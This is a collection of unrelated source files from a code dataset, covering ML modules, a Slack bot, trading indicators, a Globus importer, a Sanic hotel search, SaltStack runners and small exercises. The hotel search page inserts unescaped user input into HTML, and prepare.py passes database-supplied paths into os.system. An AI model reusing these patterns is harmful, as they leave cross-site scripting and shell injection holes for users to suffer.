affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport torch\nfrom torch import nn\nfrom torch.nn import Parameter\nimport torch.nn.functional as F\n\nfrom fairseq import utils\n\n\nclass BidirectionalMultiheadSelfAttention(nn.Module):\n \"\"\"Multi-headed attention.\n\n See \"Attention Is All You Need\" for more details.\n \"\"\"\n\n def __init__(self, embed_dim, num_heads, dropout=0., bias=True, mask_curr_state=True):\n super().__init__()\n self.onnx_trace = False\n self.embed_dim = embed_dim\n self.num_heads = num_heads\n self.dropout = dropout\n self.mask_curr_state = mask_curr_state\n self.head_dim = embed_dim // num_heads\n assert self.embed_dim % num_heads == 0, \"embed_dim must be divisible by num_heads\"\n self.scaling = self.head_dim ** -0.5\n\n self.in_proj_weight = Parameter(torch.Tensor(3 * embed_dim, embed_dim))\n if bias:\n self.in_proj_bias = Parameter(torch.Tensor(3 * embed_dim))\n else:\n self.register_parameter('in_proj_bias', None)\n self.out_proj = nn.Linear(embed_dim, embed_dim, bias=bias)\n\n self.reset_parameters()\n\n def reset_parameters(self):\n nn.init.xavier_uniform_(self.in_proj_weight)\n nn.init.xavier_uniform_(self.out_proj.weight)\n if self.in_proj_bias is not None:\n nn.init.constant_(self.in_proj_bias, 0.)\n nn.init.constant_(self.out_proj.bias, 0.)\n\n def prepare_for_onnx_export_(self):\n self.onnx_trace = True\n\n def forward(self, fwd_x, bwd_x, key_padding_mask=None):\n \"\"\"Input shape: Time x Batch x Channel\n\n Self-attention can be implemented by passing in the same arguments for\n query, key and value. Future timesteps can be masked with the\n `mask_future_timesteps` argument. Padding elements can be excluded from\n the key by passing a binary ByteTensor (`key_padding_mask`) with shape:\n batch x src_len, where padding elements are indicated by 1s.\n \"\"\"\n\n assert fwd_x.size() == bwd_x.size()\n\n tgt_len, bsz, embed_dim = fwd_x.size()\n assert embed_dim == self.embed_dim\n\n padded_fwd_x = torch.cat([fwd_x.new_zeros(1, bsz, embed_dim), fwd_x])\n padded_bwd_x = torch.cat([bwd_x, bwd_x.new_zeros(1, bsz, embed_dim)])\n\n q = padded_fwd_x[:-1] + padded_bwd_x[1:]\n kv = torch.cat([fwd_x, bwd_x], dim=0)\n\n src_len = tgt_len * 2\n\n q = self.in_proj_q(q)\n k, v = self.in_proj_kv(kv)\n\n q = q.contiguous().view(tgt_len, bsz * self.num_heads, self.head_dim).transpose(0, 1)\n k = k.contiguous().view(src_len, bsz * self.num_heads, self.head_dim).transpose(0, 1)\n v = v.contiguous().view(src_len, bsz * self.num_heads, self.head_dim).transpose(0, 1)\n\n attn_weights = torch.bmm(q, k.transpose(1, 2))\n assert list(attn_weights.size()) == [bsz * self.num_heads, tgt_len, src_len]\n\n if self.mask_curr_state:\n attn_weights += self.mask(attn_weights).unsqueeze(0)\n\n if key_padding_mask is not None:\n # don't attend to padding symbols\n attn_weights = attn_weights.view(bsz, self.num_heads, tgt_len, src_len)\n if self.onnx_trace:\n attn_weights = torch.where(\n key_padding_mask.repeat(1, 2).unsqueeze(1).unsqueeze(2),\n torch.Tensor([float(\"-Inf\")]),\n attn_weights.float()\n ).type_as(attn_weights)\n else:\n attn_weights = attn_weights.float().masked_fill(\n key_padding_mask.repeat(1, 2).unsqueeze(1).unsqueeze(2),\n float('-inf'),\n ).type_as(attn_weights) # FP16 support: cast to float and back\n attn_weights = attn_weights.view(bsz * self.num_heads, tgt_len, src_len)\n\n attn_weights = F.softmax(attn_weights.float(), dim=-1).type_as(attn_weights)\n attn_weights = F.dropout(attn_weights, p=self.dropout, training=self.training)\n\n attn = torch.bmm(attn_weights, v)\n assert list(attn.size()) == [bsz * self.num_heads, tgt_len, self.head_dim]\n attn = attn.transpose(0, 1).contiguous().view(tgt_len, bsz, embed_dim)\n\n attn = self.out_proj(attn)\n\n # average attention weights over heads\n attn_weights = attn_weights.view(bsz, self.num_heads, tgt_len, src_len)\n attn_weights = attn_weights.sum(dim=1) / self.num_heads\n return attn, attn_weights\n\n def in_proj_q(self, query):\n return self._in_proj(query, end=self.embed_dim)\n\n def in_proj_kv(self, key):\n return self._in_proj(key, start=self.embed_dim).chunk(2, dim=-1)\n\n def _in_proj(self, input, start=None, end=None):\n weight = self.in_proj_weight\n bias = self.in_proj_bias\n if end is not None:\n weight = weight[:end, :]\n if bias is not None:\n bias = bias[:end]\n if start is not None:\n weight = weight[start:, :]\n if bias is not None:\n bias = bias[start:]\n return F.linear(input, weight, bias)\n\n def mask(self, tensor):\n _, half_dim, dim = tensor.size()\n if self.onnx_trace:\n # triu and tril are not supported in onnx\n a = torch._dim_arange(tensor, 2).unsqueeze(0).repeat(half_dim, 1)\n b = torch._dim_arange(tensor, 1).unsqueeze(1).repeat(1, dim)\n mask = (a > b + half_dim).float() + (a < b).float()\n mask = torch.where(\n mask > 0,\n torch.Tensor([0]).type_as(tensor),\n torch.Tensor([float(\"-Inf\")]).type_as(tensor)\n )\n else:\n ones = tensor.new_ones(half_dim, dim).bool()\n mask = ones.triu(half_dim + 1) + ones.tril(-1)\n mask = utils.fill_with_neg_inf(tensor.new(mask.size())).masked_fill_(mask, 0)\n return mask\n","sub_path":"fairseq/modules/fb_bidirectional_multihead_attention.py","file_name":"fb_bidirectional_multihead_attention.py","file_ext":"py","file_size_in_byte":6026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"350918352","text":"# -*- coding utf-8 -*-\nimport requests, datetime, csv, random, models, tools\n\nfrom tools import *\nfrom settings import *\n\n@app.task\ndef detect_birthday():\n credits = models.Team.objects\n for credit in credits:\n congrats = models.Congrats.objects(team=credit)\n callendar = google_api(credit)\n import ipdb; ipdb.set_trace()\n birthdays = callendar.get_events(credit['calendar_id'])\n\n for birthday in birthdays:\n random_num = random.randint(0,len(congrats)-1)\n text = (birthday['summary'])\n slack.send_message(credit, congrats[random_num].text.format(text))\n\nif __name__ == '__main__':\n detect_birthday()\n","sub_path":"bot_core/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"94429917","text":"import datetime as dt\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom pandas.plotting import register_matplotlib_converters\n\nfrom util import get_data\n\n\ndef author():\n return 'sgarg96'\n\n\ndef calc_sma(price, n):\n return price.rolling(window=n).mean()\n\n\ndef calc_avg_daily_returns(port_val):\n daily_returns = calc_daily_returns(port_val)\n return round(daily_returns['value'][1:].mean(), 3)\n\n\ndef calc_std_daily_returns(port_val):\n daily_returns = calc_daily_returns(port_val)\n return round(daily_returns['value'][1:].std(), 3)\n\n\ndef calc_std(price, n):\n return price.rolling(n).std()\n\n\ndef calc_obv(vol, price):\n obv = [0]\n for i in range(1, price.shape[0]):\n if price.iloc[i] > price.iloc[i - 1]:\n obv.append(obv[-1] + vol.iloc[i])\n elif price.iloc[i] < price.iloc[i - 1]:\n obv.append(obv[-1] - vol.iloc[i])\n else:\n obv.append(obv[-1])\n return pd.DataFrame(obv, index=price.index)\n\n\ndef calc_obv_slope(vol, price, n):\n obv = calc_obv(vol, price)\n return obv / obv.shift(n - 1) - 1\n\n\ndef calc_cum_return(port_val):\n cum_ret = (port_val / port_val.iloc[0, 0]) - 1\n return round(cum_ret.iloc[-1, 0], 3)\n\n\ndef bollinger_bands(price, n):\n sma = calc_sma(price, n)\n std = calc_std(price, n)\n bu = sma + 2 * std\n bl = sma - 2 * std\n return bu, sma, bl\n\n\ndef calc_bb_ratio(price, n):\n sma = calc_sma(price, n)\n std = calc_std(price, n)\n return (price - sma) / (2 * std)\n\n\ndef calc_sma_ratio(price, n):\n sma = calc_sma(price, n)\n return price / sma\n\n\ndef calc_momentum(price, n):\n return price / price.shift(n - 1) - 1\n\n\ndef calc_cci(price, n):\n pass\n\n\ndef plot_sma(price, sma, sma_ratio):\n fig, [ax1, ax2] = plt.subplots(2, 1, sharex=True, sharey=True,\n figsize=(10, 10))\n x = sma.index\n ax1.plot(x, price, label=\"Price\")\n ax1.plot(x, sma, label=\"SMA\")\n ax1.grid(True)\n ax1.legend(loc='lower right')\n\n ax2.plot(x, np.ones(price.shape[0]), label=\"y = 1\")\n ax2.plot(x, sma_ratio, label=\"Price/SMA\")\n ax2.grid(True)\n ax2.legend(loc='lower right')\n plt.xlabel('Date')\n plt.ylabel('Normalized Price')\n plt.savefig(\"sma_pot.png\")\n\n\ndef plot_bb(price, bu, sma, bl, bb_ratio):\n x = price.index\n fig, (ax, ax2) = plt.subplots(2, 1, sharex=True, figsize=(10, 10))\n\n ax.plot(x, bl, x, bu, color='black')\n ax.plot([], [], color='black', label='Bollinger bands')\n ax.fill_between(x, bl, bu, where=bu >= bl, alpha=0.1)\n ax.plot(x, price, label='Price')\n ax.plot(x, sma, label='SMA')\n ax.grid(True)\n ax.legend(loc='lower right')\n\n ax2.plot(x, bb_ratio, label='BB Ratio')\n ax2.plot(x, np.ones(price.shape[0]), color='red', label=\"y = 1.0\")\n ax2.plot(x, -1 * np.ones(price.shape[0]), color='red', label=\"y = -1.0\")\n ax2.grid(True)\n ax2.legend(loc='lower right')\n plt.xlabel('Date')\n plt.savefig(\"bb_plot.png\")\n\n\ndef plot_momentum(price, momentum):\n fig, [ax1, ax2] = plt.subplots(2, 1, sharex=True, figsize=(10, 10))\n x = price.index\n ax1.plot(x, price, label=\"Price\")\n ax1.grid(True)\n ax1.legend(loc='lower right')\n\n ax2.plot(x, momentum, label=\"momentum\")\n ax2.plot(x, np.zeros(price.shape[0]), label=\"y = 0\")\n ax2.grid(True)\n ax2.legend(loc='lower right')\n plt.xlabel('Date')\n plt.savefig(\"momentum.png\")\n\n\ndef calc_daily_returns(price):\n return (price / price.shift(1)) - 1\n\ndef plot_obv_slope(price, obv_slope):\n fig, [ax1, ax2] = plt.subplots(2,1, sharex=True, figsize=(10,10))\n x = price.index\n ax1.plot(x, price, label = \"Price\")\n ax1.grid(True)\n ax1.legend(loc='lower right')\n ax1.set_ylabel('Normalized Price')\n\n ax2.plot(x, obv_slope, label = \"obv_slope\")\n ax2.plot(x, np.zeros(price.shape[0]), label = \"y = 0\")\n ax2.grid(True)\n ax2.legend(loc='lower right')\n plt.xlabel('Date')\n ax2.set_ylabel('OBV Slope')\n plt.savefig(\"obv.png\")\n # plt.ylabel('Normalized Price')\n\n\nif __name__ == '__main__':\n register_matplotlib_converters()\n symbol = \"JPM\"\n start_date = dt.datetime(2008, 1, 1)\n end_date = dt.datetime(2009, 12, 31)\n data = get_data([symbol], pd.date_range(start_date, end_date))\n data = data / data.iloc[0]\n price = data['JPM']\n vol = get_data([symbol], pd.date_range(start_date, end_date), colname='Volume')[\n 'JPM']\n n = 20\n\n sma = calc_sma(data['JPM'], n)\n sma_ratio = calc_sma_ratio(data['JPM'], n)\n plot_sma(data['JPM'], sma, sma_ratio)\n\n bu, sma, bl = bollinger_bands(data['JPM'], n)\n bb_ratio = calc_bb_ratio(data['JPM'], n)\n plot_bb(data['JPM'], bu, sma, bl, bb_ratio)\n\n momentum = calc_momentum(data['JPM'], n)\n plot_momentum(data['JPM'], momentum)\n\n obv_slope = calc_obv_slope(vol, price, 20)\n plot_obv_slope(price, obv_slope)\n","sub_path":"manual_strategy/indicators.py","file_name":"indicators.py","file_ext":"py","file_size_in_byte":4852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"384396094","text":"from django.db import models\n\n\nclass FizzBuzz(models.Model):\n '''\n useragent - the useragent of the person who created this fizzbuzz\n creation_date - self-explanatory\n message - just a random message\n '''\n creation_date = models.DateTimeField(auto_now=True)\n useragent = models.TextField()\n message = models.CharField(max_length=2048)\n\n class Meta:\n ordering = ('id',)\n","sub_path":"fizzbuzzapi/api/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"25242173","text":"#!/usr/bin/python\n#-*- coding: utf-8 -*-\n\n'''\n该模块由process模块调用,用于对apk文件分析处理,\n仿照APIMonitor对关键函数进行注入,处理完后打包,\n同时修改数据库中的预处理标志\n'''\n\nimport os, platform\nfrom database import datab\n\nclass Pre:\n '''\n 任务预处理类\n '''\n\n def __init__(self, id):\n self.current_id = id\n self.apk_name = datab.query_name_id(self.current_id)\n self.apk_path = datab.query_path_id(self.current_id)\n\n def start(self):\n old_apk_name = self.apk_name + '.apk'\n print('install '+ old_apk_name)\n old_apk_path = os.path.join(self.apk_path, old_apk_name)\n current_path = os.path.curdir\n api_path = os.path.join(current_path, 'APIMonitor/apimonitor.py')\n os.system('python ' + api_path + ' ' + old_apk_path)\n\n def check_finish(self):\n new_apk_path = os.path.join(self.apk_path, self.apk_name+'_new.apk')\n if(platform.system() == 'Windows'):\n new_apk_path = self.convertString(new_apk_path)\n if(os.path.exists(new_apk_path)):\n return True\n return False\n\n def convertString(self, str):\n new_str = ''\n for i in str:\n if(i == \"\\\\\"):\n new_str += '\\\\\\\\'\n else:\n new_str += i\n return new_str\n\nif(__name__ == '__main__'):\n pre = Pre(9)\n print(pre.check_finish())","sub_path":"server/prepare.py","file_name":"prepare.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"3655026","text":"'''\n필기체 인식을 위한 다층 신경망 모델 적용\n\n'''\n\n\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn import datasets\nimport matplotlib.pyplot as plt\n\n\ndigits = datasets.load_digits()\nX_train,y_train = digits.data[:-10], digits.target[:-10]\nX_train,y_train = digits.data[:-10], digits.target[:-10]\n\n# 히든 1개 (50 ) : 손실 : 0.01946\n# 히든 5층(10, 10, 10, 10, 10 ) : 손실 :0.11663753\n# 로스가 더이상 줄지 않으면 scikit_learn에서 알아서 멈춰준다..\n# 내부적으로 early stop과는 다른 로직으로 처리 됨.\n# (sckit-learn에서는 내부적으로 10% 의 훈련 데이터를 가지고 early stop 구현\nmlp = MLPClassifier(hidden_layer_sizes=(10,10, 10, 10, 10), max_iter=1000, alpha=1e-4,\n#mlp = MLPClassifier(hidden_layer_sizes=(50,), max_iter=1000, alpha=1e-4,\n solver='sgd', verbose=10, tol=1e-4, random_state=1,\n learning_rate_init=.001)\n\nmlp.fit(X_train, y_train)\n\n#print('Train accuracy:', mlp.score(X_train, X_train))\n\ndigits_index = 9\n\nx_test = digits.data[digits_index].reshape(1,-1)\n\nprint(mlp.predict(x_test))\n#print('Test accuracy:', mlp.score(X_test, y_test))\nplt.imshow(digits.images[digits_index], cmap=plt.cm.gray_r, interpolation='nearest')\nplt.show()","sub_path":"DATE_18_7_19/Perceptron/MLPerceptron_chracter.py","file_name":"MLPerceptron_chracter.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"42468201","text":"import time\nimport cv2\nfrom mss.linux import MSS\nimport mss\nimport numpy as np\nimport pyscreenshot as pyshot\n\n\ndef get_screen_res():\n import tkinter\n root = tkinter.Tk()\n width = root.winfo_screenwidth()\n height = root.winfo_screenheight()\n root.destroy()\n return {\"top\": 0, \"left\": -30, \"width\": 100, \"height\": 100}\n\n\ndef run():\n title = \"screen\"\n fps = 0\n start_time = time.time()\n sct = MSS()\n mon = get_screen_res()\n print(mon)\n while True:\n try:\n img = np.asarray(sct.grab(mon))\n except mss.ScreenShotError:\n details = sct.get_error_details\n import pprint\n pprint.pprint(details)\n break\n else:\n cv2.imshow(title, cv2.cvtColor(img, cv2.COLOR_BGR2GRAY))\n fps += 1\n t = time.time() - start_time\n if t >= 1:\n print(f\"FPS is {fps}\")\n fps = 0\n start_time = time.time()\n if cv2.waitKey(25) & 0xFF == ord(\"q\"):\n cv2.destroyAllWindows()\n break\n\nrun()","sub_path":"card_detection.py","file_name":"card_detection.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"217450900","text":"from spacy.lang.fr import French\n\nnlp = French()\n\n# Importe la classe Doc\nfrom spacy.tokens import Doc\n\n# Texte désiré : \"Oh, vraiment ?!\"\nwords = [\"Oh\", \",\", \"vraiment\", \"?\", \"!\"]\nspaces = [False, True, True, False, False]\n\n# Crée un Doc à partir des mots et des espaces\ndoc = Doc(nlp.vocab, words=words, spaces=spaces)\nprint(doc.text)\n","sub_path":"exercises/fr/solution_02_05_03.py","file_name":"solution_02_05_03.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"587030527","text":"# coding: utf8\nimport logging\n\nfrom json2html import json2html\nfrom sanic.response import html\nfrom web.utils.database import databases\n\nfrom . import views_bp\n\nHTML = '''\n\n\n\n\n\n\n\n
\n

搜索hotelbeds

\n
\n
\n
\n
\n \n \n
\n \n
\n
\n
\n
{}
\n
\n\n'''\n\nsandbox = None\n\n\n@views_bp.get('/statics/hotels')\nasync def index(request):\n return html(HTML.format(\"\", \"\"))\n\n\n@views_bp.post('/statics/hotels')\nasync def search(request):\n logger = logging.getLogger(__name__)\n p = request.form.get('partial', '').lower()\n scripture = databases('scripture')\n cursor = scripture.statics.hotels.hotelbeds.find(\n {\n \"$text\": {\n \"$search\": f'\"{p}\"'\n }\n }\n )\n hotels = [formatted(hotel) async for hotel in cursor]\n style_classes = 'table table-bordered table-hover'\n table = json2html.convert(\n hotels,\n table_attributes=f'id=\"info-table\" class=\"{style_classes}\"'\n )\n logger.info(f'partial:{p} response sucess')\n return html(HTML.format(p, table))\n\n\ndef formatted(hotel):\n hotel['hotel_id'] = int(hotel['hotel_id'])\n hotel.pop('_id')\n hotel.pop('description')\n hotel['email'] = hotel['email'].lower()\n hotel['postal'] = hotel.pop('postal_code')\n hotel['country'] = hotel.pop('country_code')\n hotel['destination'] = hotel.pop('destination_code')\n hotel['zone'] = int(hotel.pop('zone_code'))\n return hotel\n","sub_path":"flashtripdemo/scripture/web/views/static_hotel_search.py","file_name":"static_hotel_search.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"71656908","text":"#\n# Skeleton file for the Python \"Bob\" exercise.\n#\nimport re\n\ndef hey(what):\n what = what.strip()\n l = len(what)\n if l == 0:\n return 'Fine. Be that way!'\n elif (not re.search(r'[a-zä-ü]+', what)) and re.search(r'[A-ZÄ-Ü]+', what):\n return 'Whoa, chill out!'\n elif what[l-1] == '?':\n return 'Sure.'\n else:\n return 'Whatever.'\n","sub_path":"all_data/exercism_data/python/bob/36fa59665fd04a4b91a8ada26a051d14.py","file_name":"36fa59665fd04a4b91a8ada26a051d14.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"98262658","text":"\"\"\"\nData Types in Python :\n\nName: Type: About: Examples:\nInteger int Whole numbers 1,2,100\nFloating point float Decimal numbers 1.23, 333.33\nString str Ordered collection of characters \"ONE\" \"123\" \"@@\"\nlist list Ordered collection of objects [1,\"one\",\"@\"]\nTuples tup Ordered collection of modifiable objects (1,\"one\",\"@\")\nSets set Unordered collection of unique objects {\"1,\"one\"}\nDictionary dict Unordered (key : value) pair {\"key\":\"value\",\"Name\":\"Raviraj\"}\nBoolean bool logical True & False True or False\n\n\"\"\"\n\nuserdata = {}\namount= 1000\nam= int(input())\nuserdata[\"Amount\"] = amount\nuserdata[\"Amount\"]=userdata[\"Amount\"] -am\n\nprint(userdata[\"Amount\"])\nprint((2+3)+(4*5))\n\n#Print_formatting:\nx=\"string1:{} sting2:{} sting3:{}\".format(\"cat\",\"df\",\"23\")\nprint(x)\n\nString = 'ABC'\nprint(String[-1])\n\n#Slicing:\nprint(String[::2])\nString[0]='X' #Erroor\nx= String.upper()\nx= String.lower()\nx= String.capitalize()\nx= String.split()\n\n\n\n\n","sub_path":"Session1/Data-Types.py","file_name":"Data-Types.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"638412889","text":"import os\nimport re\nfrom typing import Tuple\nfrom html.parser import HTMLParser\nfrom urllib.parse import parse_qs\nfrom urllib.request import OpenerDirector, HTTPSHandler\n\nfrom girder.models.item import Item\nfrom girder.models.folder import Folder\n\nfrom plugins.wholetale.server.lib.file_map import FileMap\nfrom ..import_providers import ImportProvider\nfrom ..resolvers import DOIResolver\nfrom ..entity import Entity\nfrom ..data_map import DataMap\nfrom ..import_item import ImportItem\n\nfrom girder.plugins.globus_handler.clients import Clients\n\n\nclass GlobusImportProvider(ImportProvider):\n def __init__(self):\n super().__init__('Globus')\n self.clients = Clients()\n\n @staticmethod\n def create_regex():\n return re.compile(r'^https://publish.globus.org/jspui/handle/.*')\n\n def lookup(self, entity: Entity) -> DataMap:\n doc = self._getDocument(entity.getValue())\n (endpoint, path, doi, title) = self._extractMeta(doc)\n self.clients.getUserTransferClient(entity.getUser())\n # Don't compute size here. The recursive traversal of typical directory structures\n # in a datase takes ages and we want the lookup method to quickly identify whether\n # a repository has a dataset or not.\n # size = self._computeSize(tc, endpoint, path, entity.getUser())\n size = -1\n return DataMap(entity.getValue(), size, doi=doi, name=title, repository=self.getName())\n\n def _getDocument(self, url):\n od = OpenerDirector()\n od.add_handler(HTTPSHandler())\n with od.open(url) as resp:\n if resp.status == 200:\n return resp.read().decode('utf-8')\n elif resp.status == 404:\n raise Exception('Document not found %s' % url)\n else:\n raise Exception('Error fetching document %s: %s' % (url, resp.read()))\n\n def _extractMeta(self, doc) -> Tuple[str, str, str, str]:\n dp = DocParser()\n dp.feed(doc)\n return dp.getMeta()\n\n def _computeSize(self, tc, endpoint, path, user):\n sz = 0\n for item in self._listRecursive2(tc, endpoint, path):\n if item.type == ImportItem.FILE:\n sz += item.size\n return sz\n\n def listFiles(self, entity: Entity) -> FileMap:\n stack = []\n top = None\n for item in self._listRecursive(entity.getUser(), entity.getValue(), None):\n if item.type == ImportItem.FOLDER:\n if len(stack) == 0:\n fm = FileMap(item.name)\n else:\n fm = stack[-1].addChild(item.name)\n stack.append(fm)\n elif item.type == ImportItem.END_FOLDER:\n top = stack.pop()\n elif item.type == ImportItem.FILE:\n stack[-1].addFile(item.name, item.size)\n return top\n\n def _listRecursive(self, user, pid: str, name: str, base_url: str = None, progress=None):\n doc = self._getDocument(pid)\n (endpoint, path, doi, title) = self._extractMeta(doc)\n yield ImportItem(ImportItem.FOLDER, name=title, identifier='doi:' + doi)\n tc = self.clients.getUserTransferClient(user)\n yield from self._listRecursive2(tc, endpoint, path, progress)\n yield ImportItem(ImportItem.END_FOLDER)\n\n def _listRecursive2(self, tc, endpoint: str, path: str, progress=None):\n if path[-1] != '/':\n path = path + '/'\n if progress:\n progress.update(increment=1, message='Listing files')\n for entry in tc.operation_ls(endpoint, path=path):\n if entry['type'] == 'dir':\n yield ImportItem(ImportItem.FOLDER, name=entry['name'])\n yield from self._listRecursive2(tc, endpoint, path + entry['name'], progress)\n yield ImportItem(ImportItem.END_FOLDER)\n elif entry['type'] == 'file':\n yield ImportItem(\n ImportItem.FILE, entry['name'], size=entry['size'],\n mimeType='application/octet-stream',\n url='globus://%s/%s%s' % (endpoint, path, entry['name']))\n\n def getDatasetUID(self, doc, user):\n try:\n identifier = doc['meta']['identifier'] # if root of ds, it should have it\n except (KeyError, TypeError):\n if 'folderId' in doc:\n path_to_root = Item().parentsToRoot(doc, user=user)\n else:\n path_to_root = Folder().parentsToRoot(doc, user=user)\n # Collection{WT Catalog} / Folder{WT Catalog} / Folder{Globus ds root}\n identifier = path_to_root[2]['object']['meta']['identifier']\n return identifier\n\n def getURI(self, doc, user):\n if 'folderId' in doc:\n fileObj = Item().childFiles(doc)[0]\n return fileObj['linkUrl']\n else:\n path_to_root = Folder().parentsToRoot(doc, user=user)\n root_folder = path_to_root[2]\n # There's always 'globus_metadata.json'...\n item = Folder().childItems(root_folder['object'], user=user)[0]\n fileObj = Item().childFiles(item)[0]\n root_path = os.path.dirname(fileObj['linkUrl'])\n for path in path_to_root[3:]:\n root_path = os.path.join(root_path, path['object']['name'])\n return os.path.join(root_path, doc['name'])\n\n\nTRANSFER_URL_PREFIX = 'https://app.globus.org/file-manager?'\n\n\nclass DocParser(HTMLParser):\n def __init__(self):\n super().__init__()\n self.title = None\n self.doi = None\n self.endpoint = None\n self.path = None\n\n def handle_starttag(self, tag, attrs):\n if tag == 'meta':\n self._handleMetaTag(dict(attrs))\n elif tag == 'a':\n self._handleLink(dict(attrs))\n\n def _handleMetaTag(self, attrs):\n if 'name' not in attrs:\n return\n if attrs['name'] == 'DC.title':\n self.title = attrs['content']\n elif attrs['name'] == 'DC.identifier':\n self.doi = self._extractDOI(attrs['content'])\n\n def _extractDOI(self, content):\n return DOIResolver.extractDOI(content)\n\n def _handleLink(self, attrs):\n if 'href' not in attrs:\n return\n if attrs['href'].startswith(TRANSFER_URL_PREFIX):\n d = parse_qs(attrs['href'][len(TRANSFER_URL_PREFIX):])\n self.endpoint = d['origin_id'][0]\n self.path = d['origin_path'][0]\n\n def getMeta(self):\n return (self.endpoint, self.path, self.doi, self.title)\n","sub_path":"server/lib/globus/globus_provider.py","file_name":"globus_provider.py","file_ext":"py","file_size_in_byte":6539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"449523622","text":"from __future__ import absolute_import, print_function, unicode_literals\nimport logging\nimport time\n\nfrom salt.exceptions import CommandExecutionError, SaltInvocationError\nimport salt.client\nimport salt.utils.extmods\n\nlog = logging.getLogger(__name__)\n\n\ndef sync_auth(saltenv=\"base\", extmod_whitelist=None, extmod_blacklist=None):\n return salt.utils.extmods.sync(\n __opts__,\n \"auth\",\n saltenv=saltenv,\n extmod_whitelist=extmod_whitelist,\n extmod_blacklist=extmod_blacklist,\n )[0]\n\n\ndef wait_minions(tgt=\"*\", retry=10):\n client = salt.client.get_local_client(__opts__[\"conf_file\"])\n\n minions = None\n\n def condition_reached(minions):\n if minions and all(status for status in minions.values()):\n return True\n\n # Either `minions` is empty, or not all succeeded\n return False\n\n for attempts in range(1, retry):\n try:\n minions = client.cmd(tgt, \"test.ping\", timeout=2)\n except Exception as exc: # pylint: disable=broad-except\n log.exception('Unable to run \"test.ping\" on \"%s\": \"%s\"', tgt, exc)\n minions = None\n\n if condition_reached(minions):\n break\n\n log.info(\n \"[Attempt %d/%d] Waiting for minions to respond: %s\",\n attempts,\n retry,\n \", \".join(\n minion for minion, status in (minions or {}).items() if not status\n ),\n )\n\n if not condition_reached(minions):\n error_message = (\n \"Minion{plural} failed to respond after {retry} retries: {minions}\"\n ).format(\n plural=\"s\" if len(minions or {}) > 1 else \"\",\n retry=retry,\n minions=\", \".join(\n minion\n for minion, status in (minions or {tgt: False}).items()\n if not status\n ),\n )\n log.error(error_message)\n raise CommandExecutionError(error_message)\n\n # Waiting for running states to complete\n state_running = client.cmd(tgt, \"saltutil.is_running\", arg=[\"state.*\"])\n attempts = 1\n\n # If we got only empty result then no state running\n while attempts <= retry and any(state_running.values()):\n log.info(\n \"[Attempt %d/%d] Waiting for running jobs to complete: %s\",\n attempts,\n retry,\n \" - \".join(\n 'State on minion \"{minion}\": {states}'.format(\n minion=minion,\n states=\", \".join(\n \"PID={state[pid]} JID={state[jid]}\".format(state=state)\n for state in running_states\n ),\n )\n for minion, running_states in state_running.items()\n if running_states\n ),\n )\n time.sleep(5)\n state_running = client.cmd(tgt, \"saltutil.is_running\", arg=[\"state.*\"])\n attempts += 1\n\n if any(state_running.values()):\n error_message = (\n \"Minion{plural} still have running state after {retry} retries: \"\n \"{minions}\"\n ).format(\n plural=\"s\" if len(state_running) > 1 else \"\",\n retry=retry,\n minions=\", \".join(\n minion\n for minion, running_state in state_running.items()\n if running_state\n ),\n )\n log.error(error_message)\n raise CommandExecutionError(error_message)\n\n return (\n 'All minions matching \"{}\" responded and finished startup '\n \"state: {}\".format(tgt, \", \".join(minions))\n )\n\n\ndef orchestrate_show_sls(\n mods,\n saltenv=\"base\",\n test=None,\n queue=False,\n pillar=None,\n pillarenv=None,\n pillar_enc=None,\n):\n \"\"\"\n Display the state data from a specific sls, or list of sls files, after\n being render using the master minion.\n\n Note, the master minion adds a \"_master\" suffix to it's minion id.\n\n .. seealso:: The state.show_sls module function\n\n CLI Example:\n .. code-block:: bash\n\n salt-run state.orch_show_sls my-orch-formula.my-orch-state 'pillar={ nodegroup: ng1 }'\n \"\"\"\n if pillar is not None and not isinstance(pillar, dict):\n raise SaltInvocationError(\"Pillar data must be formatted as a dictionary\")\n\n __opts__[\"file_client\"] = \"local\"\n minion = salt.minion.MasterMinion(__opts__)\n running = minion.functions[\"state.show_sls\"](\n mods,\n test,\n queue,\n pillar=pillar,\n pillarenv=pillarenv,\n pillar_enc=pillar_enc,\n saltenv=saltenv,\n )\n\n ret = {minion.opts[\"id\"]: running}\n return ret\n","sub_path":"salt/_runners/metalk8s_saltutil.py","file_name":"metalk8s_saltutil.py","file_ext":"py","file_size_in_byte":4646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"249420833","text":"from django.urls import path\n\n\nfrom . import views\n\napp_name = 'privateoffice'\n\n\nurlpatterns = [\n path('login/', views.login, name='login'),\n path('logout/', views.logout, name='logout'),\n path('register/', views.register, name='register'),\n path('account/', views.account, name='account'),\n # path('test/', views.Test.as_view(), 